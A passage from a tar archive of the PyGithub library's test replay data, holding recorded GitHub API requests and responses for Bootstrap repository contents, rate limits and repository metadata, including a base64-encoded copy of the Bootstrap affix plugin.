d12f47f50618ef420868fe836d0c33","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/981319077e9bdb4ea0dcbee50dfe5715a54b4c51","html":"https://github.com/twitter/bootstrap/blob/8c7f9c66a7d12f47f50618ef420868fe836d0c33/js/bootstrap-tooltip.js"}},{"sha":"64f275778094043dc871f94ceacadbe7f74f9734","size":1756,"name":"bootstrap-transition.js","path":"js/bootstrap-transition.js","type":"file","url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-transition.js?ref=8c7f9c66a7d12f47f50618ef420868fe836d0c33","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/64f275778094043dc871f94ceacadbe7f74f9734","html_url":"https://github.com/twitter/bootstrap/blob/8c7f9c66a7d12f47f50618ef420868fe836d0c33/js/bootstrap-transition.js","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-transition.js?ref=8c7f9c66a7d12f47f50618ef420868fe836d0c33","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/64f275778094043dc871f94ceacadbe7f74f9734","html":"https://github.com/twitter/bootstrap/blob/8c7f9c66a7d12f47f50618ef420868fe836d0c33/js/bootstrap-transition.js"}},{"sha":"960f2af85a7ced44c4e3190255ee3092c3665bbb","size":8320,"name":"bootstrap-typeahead.js","path":"js/bootstrap-typeahead.js","type":"file","url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-typeahead.js?ref=8c7f9c66a7d12f47f50618ef420868fe836d0c33","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/960f2af85a7ced44c4e3190255ee3092c3665bbb","html_url":"https://github.com/twitter/bootstrap/blob/8c7f9c66a7d12f47f50618ef420868fe836d0c33/js/bootstrap-typeahead.js","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-typeahead.js?ref=8c7f9c66a7d12f47f50618ef420868fe836d0c33","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/960f2af85a7ced44c4e3190255ee3092c3665bbb","html":"https://github.com/twitter/bootstrap/blob/8c7f9c66a7d12f47f50618ef420868fe836d0c33/js/bootstrap-typeahead.js"}},{"sha":"f1ad7515dc05d0e2bc60f7c292e4f2134dcd91cf","size":0,"name":"tests","path":"js/tests","type":"dir","url":"https://api.github.com/repos/twitter/bootstrap/contents/js/tests","git_url":"https://api.github.com/repos/twitter/bootstrap/git/trees/f1ad7515dc05d0e2bc60f7c292e4f2134dcd91cf","html_url":"https://github.com/twitter/bootstrap/tree/8c7f9c66a7d12f47f50618ef420868fe836d0c33/js/tests","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/tests","git":"https://api.github.com/repos/twitter/bootstrap/git/trees/f1ad7515dc05d0e2bc60f7c292e4f2134dcd91cf","html":"https://github.com/twitter/bootstrap/tree/8c7f9c66a7d12f47f50618ef420868fe836d0c33/js/tests"}}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue140.testGetFileContents.txt0000644000175100001660000001420214756101563024167 0ustar00runnerdockerhttps GET api.github.com None /repos/twitter/bootstrap/contents/js/bootstrap-affix.js {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4989'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '5532'), ('server', 'GitHub.com'), ('last-modified', 'Fri, 08 Feb 2013 06:13:13 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"23daa8e0f42915d5ce84a6a117122afa"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Sat, 16 Feb 2013 17:47:30 GMT'), ('content-type', 'application/json; charset=utf-8')] {"sha":"7595fdb06771c324e1c3e0a166fdeafa1933e0f5","size":3483,"name":"bootstrap-affix.js","path":"js/bootstrap-affix.js","type":"file","url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-affix.js","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/7595fdb06771c324e1c3e0a166fdeafa1933e0f5","html_url":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-affix.js","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-affix.js","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/7595fdb06771c324e1c3e0a166fdeafa1933e0f5","html":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-affix.js"},"content":"LyogPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09\nPT09PT09PT09PT09PT09PQogKiBib290c3RyYXAtYWZmaXguanMgdjIuMy4w\nCiAqIGh0dHA6Ly90d2l0dGVyLmdpdGh1Yi5jb20vYm9vdHN0cmFwL2phdmFz\nY3JpcHQuaHRtbCNhZmZpeAogKiA9PT09PT09PT09PT09PT09PT09PT09PT09\nPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CiAqIENvcHlyaWdo\ndCAyMDEyIFR3aXR0ZXIsIEluYy4KICoKICogTGljZW5zZWQgdW5kZXIgdGhl\nIEFwYWNoZSBMaWNlbnNlLCBWZXJzaW9uIDIuMCAodGhlICJMaWNlbnNlIik7\nCiAqIHlvdSBtYXkgbm90IHVzZSB0aGlzIGZpbGUgZXhjZXB0IGluIGNvbXBs\naWFuY2Ugd2l0aCB0aGUgTGljZW5zZS4KICogWW91IG1heSBvYnRhaW4gYSBj\nb3B5IG9mIHRoZSBMaWNlbnNlIGF0CiAqCiAqIGh0dHA6Ly93d3cuYXBhY2hl\nLm9yZy9saWNlbnNlcy9MSUNFTlNFLTIuMAogKgogKiBVbmxlc3MgcmVxdWly\nZWQgYnkgYXBwbGljYWJsZSBsYXcgb3IgYWdyZWVkIHRvIGluIHdyaXRpbmcs\nIHNvZnR3YXJlCiAqIGRpc3RyaWJ1dGVkIHVuZGVyIHRoZSBMaWNlbnNlIGlz\nIGRpc3RyaWJ1dGVkIG9uIGFuICJBUyBJUyIgQkFTSVMsCiAqIFdJVEhPVVQg\nV0FSUkFOVElFUyBPUiBDT05ESVRJT05TIE9GIEFOWSBLSU5ELCBlaXRoZXIg\nZXhwcmVzcyBvciBpbXBsaWVkLgogKiBTZWUgdGhlIExpY2Vuc2UgZm9yIHRo\nZSBzcGVjaWZpYyBsYW5ndWFnZSBnb3Zlcm5pbmcgcGVybWlzc2lvbnMgYW5k\nCiAqIGxpbWl0YXRpb25zIHVuZGVyIHRoZSBMaWNlbnNlLgogKiA9PT09PT09\nPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09\nPT09PT09ICovCgoKIWZ1bmN0aW9uICgkKSB7CgogICJ1c2Ugc3RyaWN0Ijsg\nLy8ganNoaW50IDtfOwoKCiAvKiBBRkZJWCBDTEFTUyBERUZJTklUSU9OCiAg\nKiA9PT09PT09PT09PT09PT09PT09PT09ICovCgogIHZhciBBZmZpeCA9IGZ1\nbmN0aW9uIChlbGVtZW50LCBvcHRpb25zKSB7CiAgICB0aGlzLm9wdGlvbnMg\nPSAkLmV4dGVuZCh7fSwgJC5mbi5hZmZpeC5kZWZhdWx0cywgb3B0aW9ucykK\nICAgIHRoaXMuJHdpbmRvdyA9ICQod2luZG93KQogICAgICAub24oJ3Njcm9s\nbC5hZmZpeC5kYXRhLWFwaScsICQucHJveHkodGhpcy5jaGVja1Bvc2l0aW9u\nLCB0aGlzKSkKICAgICAgLm9uKCdjbGljay5hZmZpeC5kYXRhLWFwaScsICAk\nLnByb3h5KGZ1bmN0aW9uICgpIHsgc2V0VGltZW91dCgkLnByb3h5KHRoaXMu\nY2hlY2tQb3NpdGlvbiwgdGhpcyksIDEpIH0sIHRoaXMpKQogICAgdGhpcy4k\nZWxlbWVudCA9ICQoZWxlbWVudCkKICAgIHRoaXMuY2hlY2tQb3NpdGlvbigp\nCiAgfQoKICBBZmZpeC5wcm90b3R5cGUuY2hlY2tQb3NpdGlvbiA9IGZ1bmN0\naW9uICgpIHsKICAgIGlmICghdGhpcy4kZWxlbWVudC5pcygnOnZpc2libGUn\nKSkgcmV0dXJuCgogICAgdmFyIHNjcm9sbEhlaWdodCA9ICQoZG9jdW1lbnQp\nLmhlaWdodCgpCiAgICAgICwgc2Nyb2xsVG9wID0gdGhpcy4kd2luZG93LnNj\ncm9sbFRvcCgpCiAgICAgICwgcG9zaXRpb24gPSB0aGlzLiRlbGVtZW50Lm9m\nZnNldCgpCiAgICAgICwgb2Zmc2V0ID0gdGhpcy5vcHRpb25zLm9mZnNldAog\nICAgICAsIG9mZnNldEJvdHRvbSA9IG9mZnNldC5ib3R0b20KICAgICAgLCBv\nZmZzZXRUb3AgPSBvZmZzZXQudG9wCiAgICAgICwgcmVzZXQgPSAnYWZmaXgg\nYWZmaXgtdG9wIGFmZml4LWJvdHRvbScKICAgICAgLCBhZmZpeAoKICAgIGlm\nICh0eXBlb2Ygb2Zmc2V0ICE9ICdvYmplY3QnKSBvZmZzZXRCb3R0b20gPSBv\nZmZzZXRUb3AgPSBvZmZzZXQKICAgIGlmICh0eXBlb2Ygb2Zmc2V0VG9wID09\nICdmdW5jdGlvbicpIG9mZnNldFRvcCA9IG9mZnNldC50b3AoKQogICAgaWYg\nKHR5cGVvZiBvZmZzZXRCb3R0b20gPT0gJ2Z1bmN0aW9uJykgb2Zmc2V0Qm90\ndG9tID0gb2Zmc2V0LmJvdHRvbSgpCgogICAgYWZmaXggPSB0aGlzLnVucGlu\nICE9IG51bGwgJiYgKHNjcm9sbFRvcCArIHRoaXMudW5waW4gPD0gcG9zaXRp\nb24udG9wKSA/CiAgICAgIGZhbHNlICAgIDogb2Zmc2V0Qm90dG9tICE9IG51\nbGwgJiYgKHBvc2l0aW9uLnRvcCArIHRoaXMuJGVsZW1lbnQuaGVpZ2h0KCkg\nPj0gc2Nyb2xsSGVpZ2h0IC0gb2Zmc2V0Qm90dG9tKSA/CiAgICAgICdib3R0\nb20nIDogb2Zmc2V0VG9wICE9IG51bGwgJiYgc2Nyb2xsVG9wIDw9IG9mZnNl\ndFRvcCA/CiAgICAgICd0b3AnICAgIDogZmFsc2UKCiAgICBpZiAodGhpcy5h\nZmZpeGVkID09PSBhZmZpeCkgcmV0dXJuCgogICAgdGhpcy5hZmZpeGVkID0g\nYWZmaXgKICAgIHRoaXMudW5waW4gPSBhZmZpeCA9PSAnYm90dG9tJyA/IHBv\nc2l0aW9uLnRvcCAtIHNjcm9sbFRvcCA6IG51bGwKCiAgICB0aGlzLiRlbGVt\nZW50LnJlbW92ZUNsYXNzKHJlc2V0KS5hZGRDbGFzcygnYWZmaXgnICsgKGFm\nZml4ID8gJy0nICsgYWZmaXggOiAnJykpCiAgfQoKCiAvKiBBRkZJWCBQTFVH\nSU4gREVGSU5JVElPTgogICogPT09PT09PT09PT09PT09PT09PT09PT0gKi8K\nCiAgdmFyIG9sZCA9ICQuZm4uYWZmaXgKCiAgJC5mbi5hZmZpeCA9IGZ1bmN0\naW9uIChvcHRpb24pIHsKICAgIHJldHVybiB0aGlzLmVhY2goZnVuY3Rpb24g\nKCkgewogICAgICB2YXIgJHRoaXMgPSAkKHRoaXMpCiAgICAgICAgLCBkYXRh\nID0gJHRoaXMuZGF0YSgnYWZmaXgnKQogICAgICAgICwgb3B0aW9ucyA9IHR5\ncGVvZiBvcHRpb24gPT0gJ29iamVjdCcgJiYgb3B0aW9uCiAgICAgIGlmICgh\nZGF0YSkgJHRoaXMuZGF0YSgnYWZmaXgnLCAoZGF0YSA9IG5ldyBBZmZpeCh0\naGlzLCBvcHRpb25zKSkpCiAgICAgIGlmICh0eXBlb2Ygb3B0aW9uID09ICdz\ndHJpbmcnKSBkYXRhW29wdGlvbl0oKQogICAgfSkKICB9CgogICQuZm4uYWZm\naXguQ29uc3RydWN0b3IgPSBBZmZpeAoKICAkLmZuLmFmZml4LmRlZmF1bHRz\nID0gewogICAgb2Zmc2V0OiAwCiAgfQoKCiAvKiBBRkZJWCBOTyBDT05GTElD\nVAogICogPT09PT09PT09PT09PT09PT0gKi8KCiAgJC5mbi5hZmZpeC5ub0Nv\nbmZsaWN0ID0gZnVuY3Rpb24gKCkgewogICAgJC5mbi5hZmZpeCA9IG9sZAog\nICAgcmV0dXJuIHRoaXMKICB9CgoKIC8qIEFGRklYIERBVEEtQVBJCiAgKiA9\nPT09PT09PT09PT09PSAqLwoKICAkKHdpbmRvdykub24oJ2xvYWQnLCBmdW5j\ndGlvbiAoKSB7CiAgICAkKCdbZGF0YS1zcHk9ImFmZml4Il0nKS5lYWNoKGZ1\nbmN0aW9uICgpIHsKICAgICAgdmFyICRzcHkgPSAkKHRoaXMpCiAgICAgICAg\nLCBkYXRhID0gJHNweS5kYXRhKCkKCiAgICAgIGRhdGEub2Zmc2V0ID0gZGF0\nYS5vZmZzZXQgfHwge30KCiAgICAgIGRhdGEub2Zmc2V0Qm90dG9tICYmIChk\nYXRhLm9mZnNldC5ib3R0b20gPSBkYXRhLm9mZnNldEJvdHRvbSkKICAgICAg\nZGF0YS5vZmZzZXRUb3AgJiYgKGRhdGEub2Zmc2V0LnRvcCA9IGRhdGEub2Zm\nc2V0VG9wKQoKICAgICAgJHNweS5hZmZpeChkYXRhKQogICAgfSkKICB9KQoK\nCn0od2luZG93LmpRdWVyeSk7\n","encoding":"base64"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue142.testDecodeJson.txt0000644000175100001660000000265714756101563023164 0ustar00runnerdockerhttps GET api.github.com None /rate_limit {'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Thu, 24 Oct 2019 14:28:35 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '60'), ('X-RateLimit-Remaining', '58'), ('X-RateLimit-Reset', '1571930854'), ('Cache-Control', 'no-cache'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Vary', 'Accept-Encoding'), ('X-GitHub-Request-Id', '67AD:4CF3:4699F:76E9A:5DB1B513')] {"resources":{"core":{"limit":60,"remaining":58,"reset":1571930854},"search":{"limit":10,"remaining":10,"reset":1571927375},"graphql":{"limit":0,"remaining":0,"reset":1571930915},"integration_manifest":{"limit":5000,"remaining":5000,"reset":1571930915}},"rate":{"limit":60,"remaining":58,"reset":1571930854}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue174.setUp.txt0000644000175100001660000001736214756101563021353 0ustar00runnerdockerhttps GET api.github.com None /repos/twbs/bootstrap {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Thu, 30 Jan 2025 19:21:50 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"b5164482798946d095a3aeccdecb16c07f5320f165ed6f670cf8eee78f6aaa10"'), ('Last-Modified', 'Thu, 30 Jan 2025 16:47:38 GMT'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4990'), ('X-RateLimit-Reset', '1738267912'), ('X-RateLimit-Used', '10'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', 'C0A8:35353A:5540C0:57C154:679BD14E')] {"id":2126244,"node_id":"MDEwOlJlcG9zaXRvcnkyMTI2MjQ0","name":"bootstrap","full_name":"twbs/bootstrap","private":false,"owner":{"login":"twbs","id":2918581,"node_id":"MDEyOk9yZ2FuaXphdGlvbjI5MTg1ODE=","avatar_url":"https://avatars.githubusercontent.com/u/2918581?v=4","gravatar_id":"","url":"https://api.github.com/users/twbs","html_url":"https://github.com/twbs","followers_url":"https://api.github.com/users/twbs/followers","following_url":"https://api.github.com/users/twbs/following{/other_user}","gists_url":"https://api.github.com/users/twbs/gists{/gist_id}","starred_url":"https://api.github.com/users/twbs/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/twbs/subscriptions","organizations_url":"https://api.github.com/users/twbs/orgs","repos_url":"https://api.github.com/users/twbs/repos","events_url":"https://api.github.com/users/twbs/events{/privacy}","received_events_url":"https://api.github.com/users/twbs/received_events","type":"Organization","user_view_type":"public","site_admin":false},"html_url":"https://github.com/twbs/bootstrap","description":"The most popular HTML, CSS, and JavaScript framework for developing responsive, mobile first projects on the web.","fork":false,"url":"https://api.github.com/repos/twbs/bootstrap","forks_url":"https://api.github.com/repos/twbs/bootstrap/forks","keys_url":"https://api.github.com/repos/twbs/bootstrap/keys{/key_id}","collaborators_url":"https://api.github.com/repos/twbs/bootstrap/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/twbs/bootstrap/teams","hooks_url":"https://api.github.com/repos/twbs/bootstrap/hooks","issue_events_url":"https://api.github.com/repos/twbs/bootstrap/issues/events{/number}","events_url":"https://api.github.com/repos/twbs/bootstrap/events","assignees_url":"https://api.github.com/repos/twbs/bootstrap/assignees{/user}","branches_url":"https://api.github.com/repos/twbs/bootstrap/branches{/branch}","tags_url":"https://api.github.com/repos/twbs/bootstrap/tags","blobs_url":"https://api.github.com/repos/twbs/bootstrap/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/twbs/bootstrap/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/twbs/bootstrap/git/refs{/sha}","trees_url":"https://api.github.com/repos/twbs/bootstrap/git/trees{/sha}","statuses_url":"https://api.github.com/repos/twbs/bootstrap/statuses/{sha}","languages_url":"https://api.github.com/repos/twbs/bootstrap/languages","stargazers_url":"https://api.github.com/repos/twbs/bootstrap/stargazers","contributors_url":"https://api.github.com/repos/twbs/bootstrap/contributors","subscribers_url":"https://api.github.com/repos/twbs/bootstrap/subscribers","subscription_url":"https://api.github.com/repos/twbs/bootstrap/subscription","commits_url":"https://api.github.com/repos/twbs/bootstrap/commits{/sha}","git_commits_url":"https://api.github.com/repos/twbs/bootstrap/git/commits{/sha}","comments_url":"https://api.github.com/repos/twbs/bootstrap/comments{/number}","issue_comment_url":"https://api.github.com/repos/twbs/bootstrap/issues/comments{/number}","contents_url":"https://api.github.com/repos/twbs/bootstrap/contents/{+path}","compare_url":"https://api.github.com/repos/twbs/bootstrap/compare/{base}...{head}","merges_url":"https://api.github.com/repos/twbs/bootstrap/merges","archive_url":"https://api.github.com/repos/twbs/bootstrap/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/twbs/bootstrap/downloads","issues_url":"https://api.github.com/repos/twbs/bootstrap/issues{/number}","pulls_url":"https://api.github.com/repos/twbs/bootstrap/pulls{/number}","milestones_url":"https://api.github.com/repos/twbs/bootstrap/milestones{/number}","notifications_url":"https://api.github.com/repos/twbs/bootstrap/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/twbs/bootstrap/labels{/name}","releases_url":"https://api.github.com/repos/twbs/bootstrap/releases{/id}","deployments_url":"https://api.github.com/repos/twbs/bootstrap/deployments","created_at":"2011-07-29T21:19:00Z","updated_at":"2025-01-30T16:47:38Z","pushed_at":"2025-01-30T15:22:31Z","git_url":"git://github.com/twbs/bootstrap.git","ssh_url":"git@github.com:twbs/bootstrap.git","clone_url":"https://github.com/twbs/bootstrap.git","svn_url":"https://github.com/twbs/bootstrap","homepage":"https://getbootstrap.com","size":248657,"stargazers_count":171281,"watchers_count":171281,"language":"JavaScript","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":true,"has_discussions":true,"forks_count":78987,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":673,"license":{"key":"mit","name":"MIT License","spdx_id":"MIT","url":"https://api.github.com/licenses/mit","node_id":"MDc6TGljZW5zZTEz"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["bootstrap","css","css-framework","html","javascript","sass","scss"],"visibility":"public","forks":78987,"open_issues":673,"watchers":171281,"default_branch":"main","permissions":{"admin":false,"maintain":false,"push":false,"triage":false,"pull":true},"temp_clone_token":"","custom_properties":{},"organization":{"login":"twbs","id":2918581,"node_id":"MDEyOk9yZ2FuaXphdGlvbjI5MTg1ODE=","avatar_url":"https://avatars.githubusercontent.com/u/2918581?v=4","gravatar_id":"","url":"https://api.github.com/users/twbs","html_url":"https://github.com/twbs","followers_url":"https://api.github.com/users/twbs/followers","following_url":"https://api.github.com/users/twbs/following{/other_user}","gists_url":"https://api.github.com/users/twbs/gists{/gist_id}","starred_url":"https://api.github.com/users/twbs/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/twbs/subscriptions","organizations_url":"https://api.github.com/users/twbs/orgs","repos_url":"https://api.github.com/users/twbs/repos","events_url":"https://api.github.com/users/twbs/events{/privacy}","received_events_url":"https://api.github.com/users/twbs/received_events","type":"Organization","user_view_type":"public","site_admin":false},"network_count":78987,"subscribers_count":6718} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue174.testGetDirContentsWithHttpRedirect.txt0000644000175100001660000001455314756101563027224 0ustar00runnerdockerhttps GET api.github.com None /repos/twbs/bootstrap/contents/js/ {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 302 [('Date', 'Thu, 30 Jan 2025 19:21:50 GMT'), ('Content-Type', 'text/html;charset=utf-8'), ('Content-Length', '0'), ('Location', 'https://api.github.com/repositories/2126244/contents/js'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4989'), ('X-RateLimit-Reset', '1738267912'), ('X-RateLimit-Used', '11'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Server', 'github.com'), ('X-GitHub-Request-Id', 'C0B0:184863:132465:13D9FF:679BD14E')] https GET api.github.com None /repositories/2126244/contents/js {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Thu, 30 Jan 2025 19:21:51 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"cb86817edf19178bfef1f187f05c7d5df1e4abaf"'), ('Last-Modified', 'Thu, 30 Jan 2025 16:47:38 GMT'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4988'), ('X-RateLimit-Reset', '1738267912'), ('X-RateLimit-Used', '12'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', 'C0B8:BAEBA:148C0A:1548C6:679BD14E')] [{"name":"dist","path":"js/dist","sha":"14f77decb1abc37e8647ef373698a08396e68af6","size":0,"url":"https://api.github.com/repos/twbs/bootstrap/contents/js/dist?ref=main","html_url":"https://github.com/twbs/bootstrap/tree/main/js/dist","git_url":"https://api.github.com/repos/twbs/bootstrap/git/trees/14f77decb1abc37e8647ef373698a08396e68af6","download_url":null,"type":"dir","_links":{"self":"https://api.github.com/repos/twbs/bootstrap/contents/js/dist?ref=main","git":"https://api.github.com/repos/twbs/bootstrap/git/trees/14f77decb1abc37e8647ef373698a08396e68af6","html":"https://github.com/twbs/bootstrap/tree/main/js/dist"}},{"name":"index.esm.js","path":"js/index.esm.js","sha":"155d9fb6a59a98c706939cb6ec3f4dc3e1ed7944","size":907,"url":"https://api.github.com/repos/twbs/bootstrap/contents/js/index.esm.js?ref=main","html_url":"https://github.com/twbs/bootstrap/blob/main/js/index.esm.js","git_url":"https://api.github.com/repos/twbs/bootstrap/git/blobs/155d9fb6a59a98c706939cb6ec3f4dc3e1ed7944","download_url":"https://raw.githubusercontent.com/twbs/bootstrap/main/js/index.esm.js","type":"file","_links":{"self":"https://api.github.com/repos/twbs/bootstrap/contents/js/index.esm.js?ref=main","git":"https://api.github.com/repos/twbs/bootstrap/git/blobs/155d9fb6a59a98c706939cb6ec3f4dc3e1ed7944","html":"https://github.com/twbs/bootstrap/blob/main/js/index.esm.js"}},{"name":"index.umd.js","path":"js/index.umd.js","sha":"a33df74657ff5a73a02430a438b37d6ada453cc8","size":874,"url":"https://api.github.com/repos/twbs/bootstrap/contents/js/index.umd.js?ref=main","html_url":"https://github.com/twbs/bootstrap/blob/main/js/index.umd.js","git_url":"https://api.github.com/repos/twbs/bootstrap/git/blobs/a33df74657ff5a73a02430a438b37d6ada453cc8","download_url":"https://raw.githubusercontent.com/twbs/bootstrap/main/js/index.umd.js","type":"file","_links":{"self":"https://api.github.com/repos/twbs/bootstrap/contents/js/index.umd.js?ref=main","git":"https://api.github.com/repos/twbs/bootstrap/git/blobs/a33df74657ff5a73a02430a438b37d6ada453cc8","html":"https://github.com/twbs/bootstrap/blob/main/js/index.umd.js"}},{"name":"src","path":"js/src","sha":"5981281c5022b4b68807fe569ceba495febfcdc1","size":0,"url":"https://api.github.com/repos/twbs/bootstrap/contents/js/src?ref=main","html_url":"https://github.com/twbs/bootstrap/tree/main/js/src","git_url":"https://api.github.com/repos/twbs/bootstrap/git/trees/5981281c5022b4b68807fe569ceba495febfcdc1","download_url":null,"type":"dir","_links":{"self":"https://api.github.com/repos/twbs/bootstrap/contents/js/src?ref=main","git":"https://api.github.com/repos/twbs/bootstrap/git/trees/5981281c5022b4b68807fe569ceba495febfcdc1","html":"https://github.com/twbs/bootstrap/tree/main/js/src"}},{"name":"tests","path":"js/tests","sha":"cc3cb63e0e1a4934a54e55747f777f7785cd9733","size":0,"url":"https://api.github.com/repos/twbs/bootstrap/contents/js/tests?ref=main","html_url":"https://github.com/twbs/bootstrap/tree/main/js/tests","git_url":"https://api.github.com/repos/twbs/bootstrap/git/trees/cc3cb63e0e1a4934a54e55747f777f7785cd9733","download_url":null,"type":"dir","_links":{"self":"https://api.github.com/repos/twbs/bootstrap/contents/js/tests?ref=main","git":"https://api.github.com/repos/twbs/bootstrap/git/trees/cc3cb63e0e1a4934a54e55747f777f7785cd9733","html":"htt